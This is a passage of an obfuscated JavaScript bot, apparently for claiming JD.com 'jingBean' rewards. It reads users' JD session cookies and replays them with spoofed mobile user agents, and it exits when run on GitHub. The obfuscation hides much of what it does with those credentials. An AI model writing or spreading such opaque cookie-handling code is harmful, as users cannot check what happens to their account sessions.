4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','WHNaWXM=','Yk9mV2Y=','eHNUR2k=','UkJQaXg=','UkpxdVU=','aHR0cHM6Ly93cS5qZC5jb20vdXNlci9pbmZvL1F1ZXJ5SkRVc2VySW5mbz9zY2VuZXZhbD0y','allZYWk=','ZmN4SlE=','ZFRZREQ=','ZEJiRUc=','QkFCTkc=','aFZOdUw=','ZFBtZkY=','UmtDckg=','Y1ZVcE8=','d3lOaFk=','a1VYa3M=','bmlja25hbWU=','cndUZHY=','QXZiUU8=','WGh0bHg=','WlFvWGU=','b3dTdVg=','eklNVHM=','VUlCVXM=','WVlYRWg=','5Lqs5Lic5pyN5Yqh5Zmo6L+U5Zue56m65pWw5o2u','aWhrbXM=','dG96ZGg=','cmVwbGFjZQ==','ZFNqaHc=','bHZwZmo=','RlVOYVk=','RVRlWkI=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','5LiT5bGe56S8','aXNOb2Rl','Li9zZW5kTm90aWZ5','Li9qZENvb2tpZS5qcw==','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','amluZ0JlYW4=','alZ4WW0=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','dnlIbEU=','YUhOS3E=','bXNn','bmFtZQ==','bWNoQVc=','YXNVcko=','Zmxvb3Jz','d1RiZVY=','bUlk','aFRYWFc=','ZW5jcnlwdEFzc2lnbm1lbnRJZA==','ZGF0YQ==','amluZ0JlYW5JbmZv','bWZsTkU=','VUF5d2E=','cHN1V2U=','bGVuZ3Ro','amRhcHA7aVBob25lOzEwLjAuODsxNC42Ow==','O25ldHdvcmsvd2lmaTtKREVib29rL29wZW5hcHAuamRyZWFkZXI7bW9kZWwvaVBob25lOSwyO2FkZHJlc3NpZC8yMjE0MjIyNDkzO2FwcEJ1aWxkLzE2ODg0MTtqZFN1cHBvcnREYXJrTW9kZS8wO01vemlsbGEvNS4wIChpUGhvbmU7IENQVSBpUGhvbmUgT1MgMTRfNiBsaWtlIE1hYyBPUyBYKSBBcHBsZVdlYktpdC82MDUuMS4xNSAoS0hUTUwsIGxpa2UgR2Vja28pIE1vYmlsZS8xNkUxNTg7c3VwcG9ydEpEU0hXSy8x','VXNlck5hbWU=','bWF0Y2g=','aW5kZXg=','VWlQRmg=','aXNMb2dpbg==','jsjiamiH.RNucom.TvH6SJgZuALyE=='];if(function(_0x571b5c,_0x4dbbea,_0x20e515){function _0xc436cb(_0x5e22b7,_0x452ba6,_0x25b4f6,_0x1eac1b,_0x52ccec,_0x4f4580){_0x452ba6=_0x452ba6>>0x8,_0x52ccec='po';var _0x1f9228='shift',_0x5de58e='push',_0x4f4580='‮';if(_0x452ba6<_0x5e22b7){while(--_0x5e22b7){_0x1eac1b=_0x571b5c[_0x1f9228]();if(_0x452ba6===_0x5e22b7&&_0x4f4580==='‮'&&_0x4f4580['length']===0x1){_0x452ba6=_0x1eac1b,_0x25b4f6=_0x571b5c[_0x52ccec+'p']();}else if(_0x452ba6&&_0x25b4f6['replace'](/[HRNuTHSJgZuALyE=]/g,'')===_0x452ba6){_0x571b5c[_0x5de58e](_0x1eac1b);}}_0x571b5c[_0x5de58e](_0x571b5c[_0x1f9228]());}return 0xf78d9;};return _0xc436cb(++_0x4dbbea,_0x20e515)>>_0x4dbbea^_0x20e515;}(_0x1216,0x18b,0x18b00),_0x1216){_0xodg_=_0x1216['length']^0x18b;};function _0x22d4(_0x18a028,_0x2a0c42){_0x18a028=~~'0x'['concat'](_0x18a028['slice'](0x1));var _0x576e91=_0x1216[_0x18a028];if(_0x22d4['AjSsba']===undefined&&'‮'['length']===0x1){(function(){var _0xd5f5a5=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x337fb3='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xd5f5a5['atob']||(_0xd5f5a5['atob']=function(_0x295852){var _0x1f9c32=String(_0x295852)['replace'](/=+$/,'');for(var _0x184bbf=0x0,_0x472345,_0x1487d1,_0x30ef41=0x0,_0x3945c8='';_0x1487d1=_0x1f9c32['charAt'](_0x30ef41++);~_0x1487d1&&(_0x472345=_0x184bbf%0x4?_0x472345*0x40+_0x1487d1:_0x1487d1,_0x184bbf++%0x4)?_0x3945c8+=String['fromCharCode'](0xff&_0x472345>>(-0x2*_0x184bbf&0x6)):0x0){_0x1487d1=_0x337fb3['indexOf'](_0x1487d1);}return _0x3945c8;});}());_0x22d4['ASOQYE']=function(_0x597564){var _0x5c295a=atob(_0x597564);var _0x87b557=[];for(var _0x12ccde=0x0,_0x16ec0f=_0x5c295a['length'];_0x12ccde<_0x16ec0f;_0x12ccde++){_0x87b557+='%'+('00'+_0x5c295a['charCodeAt'](_0x12ccde)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x87b557);};_0x22d4['DMDREG']={};_0x22d4['AjSsba']=!![];}var _0x92f24=_0x22d4['DMDREG'][_0x18a028];if(_0x92f24===undefined){_0x576e91=_0x22d4['ASOQYE'](_0x576e91);_0x22d4['DMDREG'][_0x18a028]=_0x576e91;}else{_0x576e91=_0x92f24;}return _0x576e91;};const $=new Env(_0x22d4('‮0'));const notify=$[_0x22d4('‮1')]()?require(_0x22d4('‫2')):'';const jdCookieNode=$[_0x22d4('‮1')]()?require(_0x22d4('‮3')):'';const fs=require('fs');let cookiesArr=[],cookie='';if($[_0x22d4('‮1')]()){Object[_0x22d4('‮4')](jdCookieNode)[_0x22d4('‫5')](_0x3fd5a4=>{cookiesArr[_0x22d4('‮6')](jdCookieNode[_0x3fd5a4]);});if(process[_0x22d4('‫7')][_0x22d4('‫8')]&&process[_0x22d4('‫7')][_0x22d4('‫8')]===_0x22d4('‫9'))console[_0x22d4('‫a')]=()=>{};}else{cookiesArr=[$[_0x22d4('‫b')](_0x22d4('‫c')),$[_0x22d4('‫b')](_0x22d4('‫d')),...jsonParse($[_0x22d4('‫b')](_0x22d4('‫e'))||'[]')[_0x22d4('‮f')](_0x1daed7=>_0x1daed7[_0x22d4('‮10')])][_0x22d4('‫11')](_0x3de35e=>!!_0x3de35e);}!(async()=>{var _0x277ec5={'wTbeV':function(_0x28c6e3,_0x5b0635){return _0x28c6e3===_0x5b0635;},'hTXXW':_0x22d4('‫12'),'vyHlE':function(_0x2909c0,_0x50da36){return _0x2909c0===_0x50da36;},'aHNKq':_0x22d4('‮13'),'mchAW':_0x22d4('‮14'),'asUrJ':_0x22d4('‮15'),'mflNE':function(_0x508d1c,_0x2122b3){return _0x508d1c(_0x2122b3);},'UAywa':_0x22d4('‫16'),'psuWe':function(_0x15de42,_0x3198b0){return _0x15de42<_0x3198b0;},'UiPFh':function(_0xd4c434,_0x48e6cf){return _0xd4c434+_0x48e6cf;},'DBGok':function(_0x280fdd){return _0x280fdd();}};if(!cookiesArr[0x0]){if(_0x277ec5[_0x22d4('‫17')](_0x277ec5[_0x22d4('‫18')],_0x277ec5[_0x22d4('‫18')])){$[_0x22d4('‮19')]($[_0x22d4('‫1a')],_0x277ec5[_0x22d4('‫1b')],_0x277ec5[_0x22d4('‮1c')],{'open-url':_0x277ec5[_0x22d4('‮1c')]});return;}else{for(const _0x12e363 of data[_0x22d4('‫1d')]){if(_0x277ec5[_0x22d4('‫1e')](_0x12e363[_0x22d4('‫1f')],_0x277ec5[_0x22d4('‮20')])){$[_0x22d4('‫21')]=_0x12e363[_0x22d4('‫22')][_0x22d4('‮23')][_0x22d4('‫21')];}}}}UUID=_0x277ec5[_0x22d4('‫24')](getUUID,_0x277ec5[_0x22d4('‫25')]);for(let _0xded5d3=0x0;_0x277ec5[_0x22d4('‫26')](_0xded5d3,cookiesArr[_0x22d4('‮27')]);_0xded5d3++){UA=_0x22d4('‮28')+UUID+_0x22d4('‮29');if(cookiesArr[_0xded5d3]){cookie=cookiesArr[_0xded5d3];$[_0x22d4('‫2a')]=_0x277ec5[_0x22d4('‫24')](decodeURIComponent,cookie[_0x22d4('‮2b')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x22d4('‮2b')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x22d4('‫2c')]=_0x277ec5[_0x22d4('‮2d')](_0xded5d3,0x1);$[_0x22d4('‮2e')]=!![];$[_0x22d4('‮2f')]='';$[_0x22d4('‫30')]='1';message='';await _0x277ec5[_0x22d4('‫31')](TotalBean);console[_0x22d4('‫a')](_0x22d4('‮32')+$[_0x22d4('‫2c')]+'】'+($[_0x22d4('‮2f')]||$[_0x22d4('‫2a')])+_0x22d4('‮33'));if(!$[_0x22d4('‮2e')]){$[_0x22d4('‮19')]($[_0x22d4('‫1a')],_0x22d4('‮34'),_0x22d4('‫35')+$[_0x22d4('‫2c')]+'\x20'+($[_0x22d4('‮2f')]||$[_0x22d4('‫2a')])+_0x22d4('‫36'),{'open-url':_0x277ec5[_0x22d4('‮1c')]});if($[_0x22d4('‮1')]()){}continue;}await _0x277ec5[_0x22d4('‫31')](main);await $[_0x22d4('‮37')](0x3e8);}}})()[_0x22d4('‫38')](_0x5c8e24=>{$[_0x22d4('‫a')]('','❌\x20'+$[_0x22d4('‫1a')]+_0x22d4('‮39')+_0x5c8e24+'!','');})[_0x22d4('‮3a')](()=>{$[_0x22d4('‮3b')]();});async function main(){var _0x506163={'JuUSW':function(_0x413e3f){return _0x413e3f();},'zTSdg':function(_0x5758b7){return _0x5758b7();}};await _0x506163[_0x22d4('‫3c')](getJoyInfo);await _0x506163[_0x22d4('‫3d')](jingBeanReceive);}async function getJoyInfo(){var _0x3a2c36={'nXoqv':function(_0x1cbde4,_0x237856){return _0x1cbde4===_0x237856;},'SAysF':_0x22d4('‫12'),'DgZXw':function(_0x5761ec,_0x3d4bde){return _0x5761ec(_0x3d4bde);},'LObRp':function(_0x17cd40,_0x332bc9){return _0x17cd40!==_0x332bc9;},'VjtMv':_0x22d4('‮3e'),'iPHSR':function(_0x2dcf3c,_0x5bfe42){return _0x2dcf3c===_0x5bfe42;},'YZaDH':_0x22d4('‮3f'),'rgkmW':_0x22d4('‮40'),'jTYXK':_0x22d4('‫41'),'tyqEY':_0x22d4('‮42'),'tMptU':_0x22d4('‮43'),'ycLmT':_0x22d4('‫44'),'nNyHc':_0x22d4('‮45'),'Foiin':_0x22d4('‫46'),'uKcyU':function(_0x2fc0f9,_0x39e420,_0x16c2b9){return _0x2fc0f9(_0x39e420,_0x16c2b9);},'WrjZR':_0x22d4('‫47'),'thBUh':_0x22d4('‮48')};return new Promise(_0x47e7b7=>{var _0x378ac1={'DFEee':function(_0x51f056,_0xb4a626){return _0x3a2c36[_0x22d4('‫49')](_0x51f056,_0xb4a626);},'mMrEz':_0x3a2c36[_0x22d4('‮4a')],'XGFcI':function(_0x5aaa28,_0x538072){return _0x3a2c36[_0x22d4('‮4b')](_0x5aaa28,_0x538072);},'MbhTG':function(_0x1f3855,_0x21941a){return _0x3a2c36[_0x22d4('‫4c')](_0x1f3855,_0x21941a);},'JtTKK':_0x3a2c36[_0x22d4('‫4d')],'MtQWa':function(_0x347453,_0x696a0f){return _0x3a2c36[_0x22d4('‮4e')](_0x347453,_0x696a0f);},'IjeDT':_0x3a2c36[_0x22d4('‮4f')],'tXyqT':_0x3a2c36[_0x22d4('‫50')],'vARdy':_0x3a2c36[_0x22d4('‫51')],'YVZcq':_0x3a2c36[_0x22d4('‮52')],'RgkZX':_0x3a2c36[_0x22d4('‫53')],'lfOGs':_0x3a2c36[_0x22d4('‮54')],'AYCUY':function(_0x3142c1,_0x4be1f8){return _0x3a2c36[_0x22d4('‫4c')](_0x3142c1,_0x4be1f8);},'sUQIQ':_0x3a2c36[_0x22d4('‫55')]};if(_0x3a2c36[_0x22d4('‫4c')](_0x3a2c36[_0x22d4('‮56')],_0x3a2c36[_0x22d4('‮56')])){cookiesArr[_0x22d4('‮6')](jdCookieNode[item]);}else{$[_0x22d4('‮57')](_0x3a2c36[_0x22d4('‫58')](taskUrl,_0x3a2c36[_0x22d4('‫59')],_0x3a2c36[_0x22d4('‫5a')]),(_0x42c18f,_0x5abde4,_0x21f8c9)=>{var _0x2653d3={'zBtSM':function(_0xff9da6,_0x13d25b){return _0x378ac1[_0x22d4('‫5b')](_0xff9da6,_0x13d25b);}};try{if(_0x42c18f){console[_0x22d4('‫a')](_0x42c18f);console[_0x22d4('‫a')]($[_0x22d4('‫1a')]+_0x22d4('‫5c'));}else{_0x21f8c9=JSON[_0x22d4('‫5d')](_0x21f8c9);if(_0x21f8c9[_0x22d4('‫1d')]){if(_0x378ac1[_0x22d4('‫5e')](_0x378ac1[_0x22d4('‫5f')],_0x378ac1[_0x22d4('‫5f')])){console[_0x22d4('‫a')](''+JSON[_0x22d4('‮60')](_0x42c18f));console[_0x22d4('‫a')]($[_0x22d4('‫1a')]+_0x22d4('‫5c'));}else{for(const _0x2e82cf of _0x21f8c9[_0x22d4('‫1d')]){if(_0x378ac1[_0x22d4('‫61')](_0x378ac1[_0x22d4('‫62')],_0x378ac1[_0x22d4('‫63')])){if(_0x378ac1[_0x22d4('‮64')](_0x2e82cf[_0x22d4('‫1f')],_0x378ac1[_0x22d4('‫65')])){$[_0x22d4('‫21')]=_0x2e82cf[_0x22d4('‫22')][_0x22d4('‮23')][_0x22d4('‫21')];}}else{if(_0x378ac1[_0x22d4('‫61')](_0x2e82cf[_0x22d4('‫1f')],_0x378ac1[_0x22d4('‫65')])){if(_0x378ac1[_0x22d4('‫61')](_0x378ac1[_0x22d4('‮66')],_0x378ac1[_0x22d4('‮67')])){_0x2653d3[_0x22d4('‮68')](_0x47e7b7,_0x21f8c9);}else{$[_0x22d4('‫21')]=_0x2e82cf[_0x22d4('‫22')][_0x22d4('‮23')][_0x22d4('‫21')];}}}}}}else{if(_0x378ac1[_0x22d4('‫5e')](_0x378ac1[_0x22d4('‫69')],_0x378ac1[_0x22d4('‮6a')])){console[_0x22d4('‫a')](JSON[_0x22d4('‮60')](_0x21f8c9));}else{console[_0x22d4('‫a')](JSON[_0x22d4('‮60')](_0x21f8c9));}}}}catch(_0x2302a3){if(_0x378ac1[_0x22d4('‮6b')](_0x378ac1[_0x22d4('‫6c')],_0x378ac1[_0x22d4('‫6c')])){console[_0x22d4('‫a')](_0x21f8c9[_0x22d4('‫22')][_0x22d4('‮6d')]);}else{$[_0x22d4('‮6e')](_0x2302a3,_0x5abde4);}}finally{_0x378ac1[_0x22d4('‫5b')](_0x47e7b7,_0x21f8c9);}});}});}async function jingBeanReceive(){var _0x42bac9={'Nbjvd':_0x22d4('‫c'),'BKMxA':_0x22d4('‫d'),'fjuBo':function(_0x3f7e2f,_0x17c449){return _0x3f7e2f(_0x17c449);},'jojKo':_0x22d4('‫e'),'hFeZF':function(_0x33a23e,_0x53683c){return _0x33a23e!==_0x53683c;},'iLYXa':_0x22d4('‮6f'),'qwYLv':function(_0xf91099,_0x47458f){return _0xf91099===_0x47458f;},'WooIL':_0x22d4('‫70'),'BFBpc':_0x22d4('‮71'),'LRBNV':_0x22d4('‫72'),'mniEY':_0x22d4('‫73'),'pNHDR':_0x22d4('‫74'),'DwCYy':_0x22d4('‮75'),'blCok':function(_0x24a9c3,_0x51ec39,_0x172730){return _0x24a9c3(_0x51ec39,_0x172730);},'TXUNo':_0x22d4('‮76'),'ZKbJs':_0x22d4('‮77')};return new Promise(_0x4f3779=>{var _0x5b51b3={'RAKdl':_0x42bac9[_0x22d4('‮78')],'uFeIE':_0x42bac9[_0x22d4('‫79')],'Cxttb':function(_0x1083f8,_0xae56fd){return _0x42bac9[_0x22d4('‮7a')](_0x1083f8,_0xae56fd);},'jAiKo':_0x42bac9[_0x22d4('‫7b')],'fwfSd':function(_0x3874bf,_0x32b36d){return _0x42bac9[_0x22d4('‫7c')](_0x3874bf,_0x32b36d);},'dOGew':_0x42bac9[_0x22d4('‮7d')],'DeqJZ':function(_0x54429e,_0x1515af){return _0x42bac9[_0x22d4('‫7e')](_0x54429e,_0x1515af);},'inWLl':_0x42bac9[_0x22d4('‫7f')],'wzUZE':function(_0x254a70,_0x585a84){return _0x42bac9[_0x22d4('‫7e')](_0x254a70,_0x585a84);},'iadjp':_0x42bac9[_0x22d4('‫80')],'toVvL':function(_0x2e271c,_0x1bc1ff){return _0x42bac9[_0x22d4('‫7c')](_0x2e271c,_0x1bc1ff);},'sGdBU':_0x42bac9[_0x22d4('‮81')],'jRTFN':_0x42bac9[_0x22d4('‫82')],'knygK':function(_0x114531,_0xc009eb){return _0x42bac9[_0x22d4('‫7c')](_0x114531,_0xc009eb);},'sJjec':_0x42bac9[_0x22d4('‮83')],'YTGZd':_0x42bac9[_0x22d4('‮84')],'OoPAj':function(_0x139cdd,_0x3c2e4f){return _0x42bac9[_0x22d4('‮7a')](_0x139cdd,_0x3c2e4f);}};$[_0x22d4('‮57')](_0x42bac9[_0x22d4('‮85')](taskUrl,_0x42bac9[_0x22d4('‮86')],_0x42bac9[_0x22d4('‫87')]),(_0x4ec997,_0xa18bd1,_0xc4bac0)=>{if(_0x5b51b3[_0x22d4('‮88')](_0x5b51b3[_0x22d4('‫89')],_0x5b51b3[_0x22d4('‫89')])){cookiesArr=[$[_0x22d4('‫b')](_0x5b51b3[_0x22d4('‮8a')]),$[_0x22d4('‫b')](_0x5b51b3[_0x22d4('‫8b')]),..._0x5b51b3[_0x22d4('‫8c')](jsonParse,$[_0x22d4('‫b')](_0x5b51b3[_0x22d4('‫8d')])||'[]')[_0x22d4('‮f')](_0x5acb0e=>_0x5acb0e[_0x22d4('‮10')])][_0x22d4('‫11')](_0x2fa77c=>!!_0x2fa77c);}else{try{if(_0x4ec997){if(_0x5b51b3[_0x22d4('‮8e')](_0x5b51b3[_0x22d4('‮8f')],_0x5b51b3[_0x22d4('‮8f')])){console[_0x22d4('‫a')](_0x4ec997);console[_0x22d4('‫a')]($[_0x22d4('‫1a')]+_0x22d4('‫5c'));}else{$[_0x22d4('‫a')]('','❌\x20'+$[_0x22d4('‫1a')]+_0x22d4('‮39')+e+'!','');}}else{_0xc4bac0=JSON[_0x22d4('‫5d')](_0xc4bac0);if(_0x5b51b3[_0x22d4('‮90')](_0xc4bac0[_0x22d4('‫91')],0x0)){if(_0xc4bac0[_0x22d4('‮92')]){if(_0x5b51b3[_0x22d4('‮88')](_0x5b51b3[_0x22d4('‫93')],_0x5b51b3[_0x22d4('‫93')])){$[_0x22d4('‫21')]=vo[_0x22d4('‫22')][_0x22d4('‮23')][_0x22d4('‫21')];}else{console[_0x22d4('‫a')](_0xc4bac0[_0x22d4('‫22')][_0x22d4('‮6d')]);}}else{if(_0x5b51b3[_0x22d4('‫94')](_0x5b51b3[_0x22d4('‫95')],_0x5b51b3[_0x22d4('‫96')])){console[_0x22d4('‫a')](_0xc4bac0[_0x22d4('‮97')]);}else{console[_0x22d4('‫a')](_0x4ec997);console[_0x22d4('‫a')]($[_0x22d4('‫1a')]+_0x22d4('‫5c'));}}}else{console[_0x22d4('‫a')](JSON[_0x22d4('‮60')](_0xc4bac0));}}}catch(_0x4c45b2){$[_0x22d4('‮6e')](_0x4c45b2,_0xa18bd1);}finally{if(_0x5b51b3[_0x22d4('‫98')](_0x5b51b3[_0x22d4('‫99')],_0x5b51b3[_0x22d4('‮9a')])){_0x5b51b3[_0x22d4('‮9b')](_0x4f3779,_0xc4bac0);}else{$[_0x22d4('‮2e')]=![];return;}}}});});}function taskUrl(_0x13905d,_0x5d09b7){var _0x45192a={'QzSrZ':_0x22d4('‮9c'),'PrWKj':_0x22d4('‫9d'),'yrKXC':_0x22d4('‫9e'),'ASVyr':_0x22d4('‮9f')};return{'url':_0x22d4('‫a0')+_0x13905d,'body':_0x5d09b7,'headers':{'Host':_0x45192a[_0x22d4('‮a1')],'Content-Type':_0x45192a[_0x22d4('‫a2')],'Accept':_0x45192a[_0x22d4('‮a3')],'User-Agent':UA,'Accept-language':_0x45192a[_0x22d4('‫a4')],'Cookie':cookie}};}function random(_0x2bb0c2,_0x26cbc0){var _0x5ba27b={'IpAQg':function(_0x53f805,_0x392f33){return _0x53f805(_0x392f33);},'srWcK':function(_0x225952,_0x39b202){return _0x225952*_0x39b202;},'xgomV':function(_0x2c0594,_0x39287d){return _0x2c0594-_0x39287d;}};return _0x5ba27b[_0x22d4('‫a5')](parseInt,_0x5ba27b[_0x22d4('‮a6')](_0x5ba27b[_0x22d4('‮a7')](_0x26cbc0,_0x2bb0c2),Math[_0x22d4('‫a8')]()));}function TotalBean(){var _0x376530={'RkCrH':function(_0x251a0d,_0x5279d0){return _0x251a0d!==_0x5279d0;},'cVUpO':_0x22d4('‫a9'),'wyNhY':_0x22d4('‮aa'),'rwTdv':function(_0x2ace0b,_0x324b4d){return _0x2ace0b===_0x324b4d;},'AvbQO':_0x22d4('‮ab'),'Xhtlx':_0x22d4('‫ac'),'ZQoXe':_0x22d4('‮ad'),'owSuX':function(_0xfa075,_0x5ea4f7){return _0xfa075===_0x5ea4f7;},'zIMTs':_0x22d4('‫ae'),'xsTGi':function(_0x1e74ff,_0xc2ce5d){return _0x1e74ff===_0xc2ce5d;},'XsZYs':_0x22d4('‫af'),'UIBUs':function(_0x1c264e,_0x3536e0){return _0x1c264e!==_0x3536e0;},'YYXEh':_0x22d4('‮b0'),'tozdh':function(_0x5ed2b1){return _0x5ed2b1();},'bOfWf':function(_0x4a0da0){return _0x4a0da0();},'RBPix':_0x22d4('‮b1'),'RJquU':_0x22d4('‫b2'),'jYYai':_0x22d4('‫b3'),'fcxJQ':_0x22d4('‫9d'),'dTYDD':_0x22d4('‮b4'),'dBbEG':_0x22d4('‮b5'),'BABNG':_0x22d4('‫b6'),'hVNuL':_0x22d4('‮b7'),'dPmfF':_0x22d4('‫b8')};return new Promise(async _0x5e50ea=>{var _0x247b63={'kUXks':_0x376530[_0x22d4('‮b9')],'ihkms':function(_0x3b72e9){return _0x376530[_0x22d4('‮ba')](_0x3b72e9);}};if(_0x376530[_0x22d4('‫bb')](_0x376530[_0x22d4('‮bc')],_0x376530[_0x22d4('‫bd')])){$[_0x22d4('‮6e')](e,resp);}else{const _0x43eae3={'url':_0x22d4('‮be'),'headers':{'Accept':_0x376530[_0x22d4('‮bf')],'Content-Type':_0x376530[_0x22d4('‫c0')],'Accept-Encoding':_0x376530[_0x22d4('‫c1')],'Accept-Language':_0x376530[_0x22d4('‫c2')],'Connection':_0x376530[_0x22d4('‫c3')],'Cookie':cookie,'Referer':_0x376530[_0x22d4('‮c4')],'User-Agent':_0x376530[_0x22d4('‫c5')]}};$[_0x22d4('‮57')](_0x43eae3,(_0x33e7e0,_0xd57885,_0x56881e)=>{try{if(_0x33e7e0){if(_0x376530[_0x22d4('‫c6')](_0x376530[_0x22d4('‮c7')],_0x376530[_0x22d4('‮c8')])){console[_0x22d4('‫a')](''+JSON[_0x22d4('‮60')](_0x33e7e0));console[_0x22d4('‫a')]($[_0x22d4('‫1a')]+_0x22d4('‫5c'));}else{$[_0x22d4('‮2f')]=_0x56881e[_0x247b63[_0x22d4('‫c9')]]&&_0x56881e[_0x247b63[_0x22d4('‫c9')]][_0x22d4('‮ca')]||$[_0x22d4('‫2a')];}}else{if(_0x376530[_0x22d4('‮cb')](_0x376530[_0x22d4('‫cc')],_0x376530[_0x22d4('‫cc')])){if(_0x56881e){if(_0x376530[_0x22d4('‮cb')](_0x376530[_0x22d4('‮cd')],_0x376530[_0x22d4('‫ce')])){console[_0x22d4('‫a')](_0x56881e[_0x22d4('‮97')]);}else{_0x56881e=JSON[_0x22d4('‫5d')](_0x56881e);if(_0x376530[_0x22d4('‮cf')](_0x56881e[_0x376530[_0x22d4('‫d0')]],0xd)){$[_0x22d4('‮2e')]=![];return;}if(_0x376530[_0x22d4('‫bb')](_0x56881e[_0x376530[_0x22d4('‫d0')]],0x0)){$[_0x22d4('‮2f')]=_0x56881e[_0x376530[_0x22d4('‮b9')]]&&_0x56881e[_0x376530[_0x22d4('‮b9')]][_0x22d4('‮ca')]||$[_0x22d4('‫2a')];}else{if(_0x376530[_0x22d4('‫d1')](_0x376530[_0x22d4('‫d2')],_0x376530[_0x22d4('‫d2')])){$[_0x22d4('‮2f')]=$[_0x22d4('‫2a')];}else{$[_0x22d4('‮2f')]=$[_0x22d4('‫2a')];}}}}else{console[_0x22d4('‫a')](_0x22d4('‮d3'));}}else{_0x247b63[_0x22d4('‮d4')](_0x5e50ea);}}}catch(_0x17e977){$[_0x22d4('‮6e')](_0x17e977,_0xd57885);}finally{_0x376530[_0x22d4('‫d5')](_0x5e50ea);}});}});}function getUUID(_0x1f7017=_0x22d4('‫16'),_0x52f24f=0x0){var _0x50a33a={'dSjhw':function(_0x1f7017,_0x4e5e57){return _0x1f7017|_0x4e5e57;},'lvpfj':function(_0x1f7017,_0x2eabe7){return _0x1f7017*_0x2eabe7;},'FUNaY':function(_0x1f7017,_0x1ccd77){return _0x1f7017==_0x1ccd77;},'ETeZB':function(_0x1f7017,_0x58f84a){return _0x1f7017&_0x58f84a;}};return _0x1f7017[_0x22d4('‮d6')](/[xy]/g,function(_0x1f7017){var _0x383d2b=_0x50a33a[_0x22d4('‮d7')](_0x50a33a[_0x22d4('‮d8')](0x10,Math[_0x22d4('‫a8')]()),0x0),_0x428170=_0x50a33a[_0x22d4('‮d9')]('x',_0x1f7017)?_0x383d2b:_0x50a33a[_0x22d4('‮d7')](_0x50a33a[_0x22d4('‫da')](0x3,_0x383d2b),0x8);return uuid=_0x52f24f?_0x428170[_0x22d4('‮db')](0x24)[_0x22d4('‫dc')]():_0x428170[_0x22d4('‮db')](0x24),uuid;});};_0xodg='jsjiami.com.v6'; +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : 